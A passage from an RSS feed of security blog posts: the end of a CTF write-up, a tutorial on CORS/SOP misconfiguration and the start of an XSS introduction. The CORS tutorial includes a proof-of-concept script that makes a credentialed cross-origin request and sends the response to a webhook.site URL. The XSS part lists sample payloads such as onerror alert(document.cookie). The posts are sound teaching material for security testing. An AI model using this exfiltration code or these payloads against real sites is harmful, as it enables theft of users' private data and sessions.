        &lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;status&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;200&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nx"&gt;send&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;full_code&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;status&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;404&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nx"&gt;send&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;""&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;code&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[]&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This horrible thing puts each char. into the right place and makes the full code available in &lt;code&gt;/replyCode&lt;/code&gt; when it's ready.&lt;/p&gt;

&lt;p&gt;With all this and some ruby magic we can now automate the full exploit:&lt;/p&gt;

&lt;p&gt;&lt;iframe width="710" height="399" src="https://www.youtube.com/embed/WMORJt3OGZU"&gt;
&lt;/iframe&gt;
&lt;/p&gt;

&lt;h3&gt;
  
  
  Thoughts
&lt;/h3&gt;

&lt;p&gt;I just want to say thank you to H1 and everyone involved in making these challenges, my first one was back in 2018 for the DefCon event, and I failed miserably. I told myself I would give it my best and I think I did just that. The CTF was fun and had innovative challenges that tested my skills and made me learn new ones (looking at android and css).&lt;/p&gt;

&lt;p&gt;&lt;a href="https://gitlab.com/pirateducky/h1ctf"&gt;gitlab repo with script&lt;/a&gt;&lt;/p&gt;

</description>
    </item>
    <item>
      <title>origin/sop/cors</title>
      <dc:creator>pirateducky</dc:creator>
      <pubDate>Tue, 09 Jun 2020 21:30:06 +0000</pubDate>
      <link>https://dev.to/pirateducky/origin-sop-cors-117h</link>
      <guid>https://dev.to/pirateducky/origin-sop-cors-117h</guid>
      <description>&lt;h3&gt;
  
  
  intro
&lt;/h3&gt;

&lt;p&gt;Let's talk about &lt;code&gt;cors, sop and origin&lt;/code&gt; and how these security measures can lead to vulnerabilities in your application. &lt;/p&gt;

&lt;h3&gt;
  
  
  example
&lt;/h3&gt;

&lt;p&gt;How are cross origin requests handled in the real world? Applications have to talk to each other to exchange information, imagine &lt;a href="http://www.target.com"&gt;http://example.com&lt;/a&gt; needs to get some information from &lt;a href="http://api.target.com/v1/getUsers"&gt;http://api.example.com/v1/getUsers&lt;/a&gt;, when this request is made from &lt;code&gt;http://example.com&lt;/code&gt; the origins are different so we have to have a way to make these requests, since usually SOP (same origin policy) would not allow it. The answer to this problem is &lt;code&gt;cors&lt;/code&gt; (cross origin resource sharing) which allows for communication across origins. &lt;/p&gt;

&lt;h3&gt;
  
  
  same origin policy (SOP)
&lt;/h3&gt;

&lt;p&gt;The same origin policy is a central part of browser security, it handles how resources with different origins interact with each other. An origin is said to have the same origin only if the &lt;code&gt;protocol&lt;/code&gt; , &lt;code&gt;port&lt;/code&gt; and &lt;code&gt;host&lt;/code&gt; match, that means that &lt;a href="http://example.com"&gt;http://example.com&lt;/a&gt; and &lt;a href="http://example.com/assets/css/styles.css"&gt;http://example.com/assets/css/styles.css&lt;/a&gt; have the same origin since the requirements are met, however &lt;a href="https://api.example.com/getUsers"&gt;https://api.example.com/getUsers&lt;/a&gt; does not meet the requirement and therefor requests made from &lt;code&gt;http://example.com&lt;/code&gt; will fail.&lt;/p&gt;

&lt;p&gt;Same origin policy is important since when an application makes a request to a new origin all cookies, auth. headers and information is passed down with the request - which means that if you allow the wrong origin a user might visit a malicious website which could steal their data.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;key concepts:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Trust

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;&amp;lt;script src='https://example.com/lib.js'&amp;gt;&amp;lt;/script&amp;gt;&lt;/code&gt;

&lt;ul&gt;
&lt;li&gt;when the user agent processes the script element the script will be fetched with the same privileges as the document&lt;/li&gt;
&lt;li&gt;user agents also send information to server using URIs (forms for example)&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Origin

&lt;ul&gt;
&lt;li&gt;Two URI's share the same origin when the scheme, host, and port are the same&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;
&lt;li&gt;Authority

&lt;ul&gt;
&lt;li&gt;Not every resource in an origin has the same authority

&lt;ul&gt;
&lt;li&gt;an image is passive content and has no authority, the image has no access to the objects and resources available to its origin&lt;/li&gt;
&lt;li&gt;HTML documents carry the full authority of their origin, the document can access every object in its origin&lt;/li&gt;
&lt;li&gt;User agents determine how much authority to grant a resource by checking its media type (ie &lt;code&gt;images&lt;/code&gt; get no authority but &lt;code&gt;javascript&lt;/code&gt; files get full authority of the page)&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;
&lt;li&gt;Policy

&lt;ul&gt;
&lt;li&gt;User agents isolate different origins

&lt;ul&gt;
&lt;li&gt;Object Access: content retrieved from one URI can access objects associated with content retrieved from another URI &lt;strong&gt;if and only if&lt;/strong&gt; the two URIs belong to the same origin&lt;/li&gt;
&lt;li&gt;Generally reading information from another origin is forbidden&lt;/li&gt;
&lt;li&gt;Network resources can &lt;strong&gt;opt-in&lt;/strong&gt; into letting other origins read their information (cors)

&lt;ul&gt;
&lt;li&gt;Access is granted in a per-origin basis&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  cross origin resource sharing (CORS)
&lt;/h3&gt;

&lt;p&gt;To be able to make requests to an application on a different origin we need to have:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;A response with the &lt;code&gt;Access-Control-Allow-Origin&lt;/code&gt; header, with the origin of where the request originated from as the value

&lt;ul&gt;
&lt;li&gt;user agent validates that the value and origin of where the request originated match&lt;/li&gt;
&lt;li&gt;user agents can discover via a preflight request wether a cross-origin resource is prepared to accept requests from a given origin&lt;/li&gt;
&lt;li&gt;server-side applications are enabled to discover that an http request was deemed a cross-origin request by the user agent, through the &lt;code&gt;Origin&lt;/code&gt; header&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  cors attacks
&lt;/h3&gt;

&lt;p&gt;When testing for these configuration mistakes is always important to note that if the &lt;code&gt;Access-Control-Allow-Credentials&lt;/code&gt; does not come back in our response but the &lt;code&gt;Access-Control-Allow-Origin&lt;/code&gt; still gets reflected this does &lt;strong&gt;not&lt;/strong&gt; mean the endpoint is vulnerable to data exfiltration since you need to have those creds being passed in the request.&lt;/p&gt;

&lt;h3&gt;
  
  
  server side generated ACAO (Access-Control-Allow-Origin) headers
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;applications might need to communicate with other services outside their own origin - in some cases the &lt;code&gt;Origin&lt;/code&gt; header from a request is used to populate the &lt;code&gt;Access-Control-Allow-Origin&lt;/code&gt; in the response by the server, which would allow the cross origin request, however since the &lt;code&gt;Origin&lt;/code&gt; can be manipulated from the client side - in this case we could set the &lt;code&gt;Origin&lt;/code&gt; to something we control:
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight jsx"&gt;&lt;code&gt;&lt;span class="c1"&gt;// request with the origin we control&lt;/span&gt;
&lt;span class="nx"&gt;GET&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nx"&gt;v1&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nx"&gt;getApiKey&lt;/span&gt; &lt;span class="nx"&gt;HTTP&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mf"&gt;1.1&lt;/span&gt;
&lt;span class="nx"&gt;Host&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;http&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="c1"&gt;//example.com&lt;/span&gt;
&lt;span class="nx"&gt;Origin&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;http&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="c1"&gt;//evildomain.com&lt;/span&gt;
&lt;span class="nx"&gt;Cookie&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;session&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;...&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight jsx"&gt;&lt;code&gt;&lt;span class="c1"&gt;// response that reflects the origin&lt;/span&gt;
&lt;span class="nx"&gt;HTTP&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mf"&gt;1.1&lt;/span&gt; &lt;span class="mi"&gt;200&lt;/span&gt; &lt;span class="nx"&gt;OK&lt;/span&gt;
&lt;span class="nx"&gt;Access&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;Control&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;Allow&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;Origin&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;http&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="c1"&gt;//evildomain.com&lt;/span&gt;
&lt;span class="nx"&gt;Access&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;Control&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;Allow&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;Credentials&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If we are able to get a response like the one above from a request we control, we can go ahead and create a PoC in a server we control, for this I have used &lt;a href="https://webhook.site"&gt;webhook&lt;/a&gt; and a vps, though you could just use &lt;a href="https://github.com/trustedsec/cors-poc"&gt;trustedSec's PoC&lt;/a&gt; since that will guarantee any private information doesn't leave your control, but the methodology of the PoCs are the same:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Create an &lt;code&gt;XMLHttpRequest&lt;/code&gt; request object(or fetch request)&lt;/li&gt;
&lt;li&gt;create a &lt;code&gt;listener&lt;/code&gt; that fires when the page loads using  &lt;code&gt;.onload&lt;/code&gt;, this function will exfiltrate the data to our server&lt;/li&gt;
&lt;li&gt;Set the the vulnerable URI and method using the &lt;code&gt;.open&lt;/code&gt; method&lt;/li&gt;
&lt;li&gt;Set the &lt;code&gt;.withCredentials&lt;/code&gt; method on the request object&lt;/li&gt;
&lt;li&gt;Send the request using &lt;code&gt;.send&lt;/code&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight jsx"&gt;&lt;code&gt;
&lt;span class="c1"&gt;// Create an XMLHttpRequest request object(or fetch request)&lt;/span&gt;
&lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;req&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nx"&gt;XMLHttpRequest&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="c1"&gt;// create a listener that fires when the page loads&lt;/span&gt;
&lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;onload&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;reqListener&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="c1"&gt;// set method and uri for the request&lt;/span&gt;
&lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;GET&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;http://vulnerable.com/api/getKey&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="c1"&gt;// allow credentials - this will pass cookies to our request&lt;/span&gt;
&lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;withCredentials&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="c1"&gt;// send our request&lt;/span&gt;
&lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;send&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

&lt;span class="c1"&gt;// this function will execute when the page loads&lt;/span&gt;
&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nx"&gt;reqListener&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nx"&gt;location&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;//webhook.site/123-12.../?data=&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;responseText&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;You can monitor your &lt;a href="http://webhook.site"&gt;webhook.site&lt;/a&gt; instance and you should see the request with the &lt;code&gt;responseText&lt;/code&gt; and from the vulnerable site&lt;br&gt;
&lt;iframe width="710" height="399" src="https://www.youtube.com/embed/kdvvF0snir8"&gt;
&lt;/iframe&gt;
&lt;/p&gt;

&lt;h3&gt;
  
  
  regex
&lt;/h3&gt;

&lt;p&gt;While the above is the best case scenario for an attacker I have only found a few instances where that is the case, something that happens more often is when an application has subdomains that it needs to talk to: &lt;a href="http://api.example.com"&gt;api.example.com&lt;/a&gt; , &lt;a href="http://auth.example.com"&gt;auth.example.com&lt;/a&gt; and &lt;code&gt;example.com&lt;/code&gt; need to be able to share resources, and that can be achieved by using &lt;code&gt;cors&lt;/code&gt; - the developer sets up some code that allows &lt;code&gt;cross-origin-resource-sharing&lt;/code&gt; only from subdomains in &lt;code&gt;example.com&lt;/code&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight jsx"&gt;&lt;code&gt;&lt;span class="c1"&gt;// server code&lt;/span&gt;
&lt;span class="p"&gt;...&lt;/span&gt;
&lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;origin&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;header&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Origin&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;regex&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sr"&gt;/https:&lt;/span&gt;&lt;span class="se"&gt;\/\/[&lt;/span&gt;&lt;span class="sr"&gt;a-z&lt;/span&gt;&lt;span class="se"&gt;]&lt;/span&gt;&lt;span class="sr"&gt;+.example.com/&lt;/span&gt;

&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;regex&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;header&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;`Allow-Access-Control: &lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;origin&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;`&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;header&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Access-Control-Allow-Credentials: true&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;...&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;In the above code the &lt;code&gt;origin&lt;/code&gt; is checked using a regex, if the &lt;code&gt;origin&lt;/code&gt; would be &lt;code&gt;[evildomain.com](http://evildomain.com)&lt;/code&gt; the regex would fail and the &lt;code&gt;if-statement&lt;/code&gt; block wouldn't execute, however the regex here has a side effect in that it interprets &lt;code&gt;.&lt;/code&gt; as:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;The &lt;code&gt;.&lt;/code&gt; metacharacter is shorthand for a character class that matches any character. It is very convenient when you want to match any char at a particular position in a string.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Which means that our regex would match &lt;code&gt;[https://evildomainexample.com](https://evildomainexample.com)&lt;/code&gt; and would execute the if statement, giving us control of the &lt;code&gt;origin&lt;/code&gt; and allowing us get user requests with possible sensitive information&lt;/p&gt;

&lt;h3&gt;
  
  
  postMessage()
&lt;/h3&gt;

&lt;p&gt;this is a bit different but it deals with the &lt;code&gt;origin&lt;/code&gt; passed to &lt;code&gt;postMessage()&lt;/code&gt; and it's a way to get around &lt;code&gt;cors&lt;/code&gt; issues that introduces some vulnerabilities as well&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;The window.postMessage() method safely enables cross-origin communication between Window objects; e.g., between a page and a pop-up that it spawned, or between a page and an iframe embedded within it.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;syntax&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;code&gt;targetWindow.postMessage(message, targetOrigin, [transfer]);&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;If &lt;code&gt;*&lt;/code&gt; is passed as the &lt;code&gt;targetOrigin&lt;/code&gt; parameter this discloses the data you send to any website that sets up a listener.&lt;/p&gt;

&lt;p&gt;A really cool example of this is &lt;a href="https://hackerone.com/reports/207042"&gt;@fransrosen&lt;/a&gt;'s report on &lt;code&gt;H1&lt;/code&gt;'s Marketo's form which used a &lt;code&gt;postMessage()&lt;/code&gt; function with no origin set - so it was possible to listen to data being sent to the &lt;code&gt;H1&lt;/code&gt; form.&lt;/p&gt;

&lt;h3&gt;
  
  
  thoughts
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;Origin&lt;/code&gt; is complex - because web applications need to communicate and share resources with other applications, this introduces ways of bypasing &lt;code&gt;same-origin-policy&lt;/code&gt; like &lt;code&gt;cors&lt;/code&gt; and &lt;code&gt;postMessage&lt;/code&gt; which is awesome but if misconfigured it could leave your application's users vulnerable to having possibly sensitive data stolen.&lt;/p&gt;

&lt;h3&gt;
  
  
  resources
&lt;/h3&gt;

&lt;p&gt;&lt;a href="https://blog.detectify.com/2018/04/26/cors-misconfigurations-explained/"&gt;https://blog.detectify.com/2018/04/26/cors-misconfigurations-explained/&lt;/a&gt;&lt;br&gt;
&lt;a href="https://www.corben.io/tricky-CORS/"&gt;https://www.corben.io/tricky-CORS/&lt;/a&gt;&lt;br&gt;
&lt;a href="https://hackerone.com/reports/207042"&gt;https://hackerone.com/reports/207042&lt;/a&gt;&lt;br&gt;
&lt;a href="https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage"&gt;https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage&lt;/a&gt;&lt;br&gt;
&lt;a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS"&gt;https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS&lt;/a&gt;&lt;br&gt;
&lt;a href="https://www.w3.org/wiki/CORS"&gt;https://www.w3.org/wiki/CORS&lt;/a&gt;&lt;br&gt;
&lt;a href="https://tools.ietf.org/html/rfc6454"&gt;https://tools.ietf.org/html/rfc6454&lt;/a&gt;&lt;br&gt;
&lt;a href="https://medium.com/bugbountywriteup/cors-one-liner-command-exploiter-88c06903cca0"&gt;https://medium.com/bugbountywriteup/cors-one-liner-command-exploiter-88c06903cca0&lt;/a&gt;&lt;/p&gt;

</description>
    </item>
    <item>
      <title>intro to xss</title>
      <dc:creator>pirateducky</dc:creator>
      <pubDate>Thu, 07 May 2020 18:12:33 +0000</pubDate>
      <link>https://dev.to/pirateducky/intro-to-xss-1mio</link>
      <guid>https://dev.to/pirateducky/intro-to-xss-1mio</guid>
      <description>&lt;h3&gt;
  
  
  introduction to cross-site scripting(xss), basics, methodology, dangers &amp;amp; mitigations
&lt;/h3&gt;

&lt;p&gt;&lt;em&gt;This was written as part of my application to SecAppDev 2020 which got cancelled due to the current pandemic&lt;/em&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  &lt;center&gt;What is XSS?&lt;/center&gt;
&lt;/h2&gt;

&lt;p&gt;Cross-site scripting or &lt;code&gt;XSS&lt;/code&gt;, is a vulnerability which allows an attacker to inject &amp;amp; execute malicious code, usually &lt;code&gt;javascript&lt;/code&gt;, into an application under the victim's context, it is listed under the &lt;a href="https://www.owasp.org/images/7/72/OWASP_Top_10-2017_%28en%29.pdf.pdf"&gt;OWASP Top 10 Vulnerabilities&lt;/a&gt; as #7, some popular types of &lt;code&gt;XSS&lt;/code&gt; are:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;reflected&lt;/code&gt;

&lt;ul&gt;
&lt;li&gt;The application is reflecting some unsanitized data that it received through a parameter directly in the response&lt;/li&gt;
&lt;li&gt;Attack requires the victim to click on a link. i.e &lt;code&gt;https://realsite.com/?search=&amp;lt;img src=x onerror=alert(document.cookie)&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;When the victim clicks the link, the vulnerable application will execute the payload in the victim's context because the value passed to the &lt;code&gt;search&lt;/code&gt; param is being echoed back in the body of the response unsanitized, in the example above the application will try to render an image that does not exist, and thanks to &lt;code&gt;html&lt;/code&gt; I can execute &lt;code&gt;JavaScript&lt;/code&gt; by using the &lt;code&gt;onerror&lt;/code&gt; event handler, since &lt;code&gt;JavaScript&lt;/code&gt; has access to the &lt;code&gt;document.cookie&lt;/code&gt; we can put it in an &lt;code&gt;alert&lt;/code&gt; prompt for testing.&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;
&lt;/ul&gt;




&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;stored&lt;/code&gt;

&lt;ul&gt;
&lt;li&gt;The unsanitized data can be saved somewhere in the application's database, for example in an application that contains a profile with an editable bio section, if the user's input is not being properly sanitized an attacker might be able to submit &lt;code&gt;"&amp;gt;&amp;lt;script&amp;gt;prompt&amp;lt;/script&amp;gt;&lt;/code&gt; in their "bio" and save it, this specific string if left unsanitzed will execute &lt;code&gt;JavaScript&lt;/code&gt; each time the page is visited.&lt;/li&gt;
&lt;li&gt;This type of &lt;code&gt;xss&lt;/code&gt; is for the most part considered of higher severity than &lt;code&gt;reflected xss&lt;/code&gt; since &lt;code&gt;stored xss&lt;/code&gt; does &lt;strong&gt;not&lt;/strong&gt; need user interaction to execute, the victim simply has to visit the page for the malicious code to run.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;




&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;dom&lt;/code&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;DOM XSS&lt;/code&gt; is a bit different, the attack takes advantage of client side &lt;code&gt;JavaScript&lt;/code&gt; that uses unsanitized user input,might be possible to execute &lt;code&gt;JavaScript&lt;/code&gt; in the victim's context&lt;/li&gt;
&lt;li&gt;&lt;code&gt;https://evil.com/#pirateducky"&amp;gt;&amp;lt;script&amp;gt;alert(1)&amp;lt;/script&amp;gt;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;If the application is using the &lt;code&gt;URI fragment&lt;/code&gt; to pass down data to the application, our payload might be able to achieve execution, in the example below the &lt;code&gt;URI fragment&lt;/code&gt; is being used somewhere in code which then gets written to the &lt;code&gt;DOM&lt;/code&gt; and since this is a script it will execute the &lt;code&gt;alert&lt;/code&gt; prompt. &lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;
  
  
  &lt;center&gt;Methodology&lt;/center&gt;
&lt;/h2&gt;

&lt;p&gt;Finding &lt;code&gt;XSS&lt;/code&gt; requires a good understanding on how an application responds to unsafe input. Testing all inputs is essential to understanding how the application behaves, sometimes developers forget to sanitize all &lt;code&gt;API&lt;/code&gt; endpoints so always look at an application well and gather as much information as possible, check &lt;code&gt;JavaScript&lt;/code&gt; files and see if you can find where user input is being passed down to the application(sinks). When testing for &lt;code&gt;xss&lt;/code&gt;, I usually try to see if I can inject the following payload first:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;"'/&amp;gt;&lt;span class="nt"&gt;&amp;lt;h1&amp;gt;&lt;/span&gt;test&lt;span class="nt"&gt;&amp;lt;/h1&lt;/span&gt;
&lt;span class="err"&gt;//&lt;/span&gt; &lt;span class="err"&gt;this&lt;/span&gt; &lt;span class="err"&gt;payload&lt;/span&gt; &lt;span class="err"&gt;will&lt;/span&gt; &lt;span class="err"&gt;close&lt;/span&gt; &lt;span class="err"&gt;the&lt;/span&gt; &lt;span class="err"&gt;tag&lt;/span&gt; &lt;span class="err"&gt;before&lt;/span&gt; &lt;span class="err"&gt;it&lt;/span&gt; &lt;span class="err"&gt;and&lt;/span&gt; &lt;span class="err"&gt;start&lt;/span&gt; &lt;span class="err"&gt;a&lt;/span&gt; &lt;span class="err"&gt;new&lt;/span&gt; &lt;span class="err"&gt;tag&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This will answer some assumptions about the application I am testing:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Is the application sanitizing dangerous characters(/,&amp;lt;,&amp;gt;,",')?&lt;/li&gt;
&lt;li&gt;Does the application render the payload?&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The process can be done regardless of the type of &lt;code&gt;xss&lt;/code&gt; I am looking for, the main takeaway is seeing what is being echoed back in the body of the response, if I can get the application to render the &lt;code&gt;html&lt;/code&gt; I submitted the next thing to check is if I can execute &lt;code&gt;JavaScript&lt;/code&gt;, some ways of doing this are:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;"&amp;gt;&lt;span class="nt"&gt;&amp;lt;script&amp;gt;&lt;/span&gt;&lt;span class="nx"&gt;alert&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="nt"&gt;&amp;lt;/script&amp;gt;&lt;/span&gt; // straight to point, executes using script tag
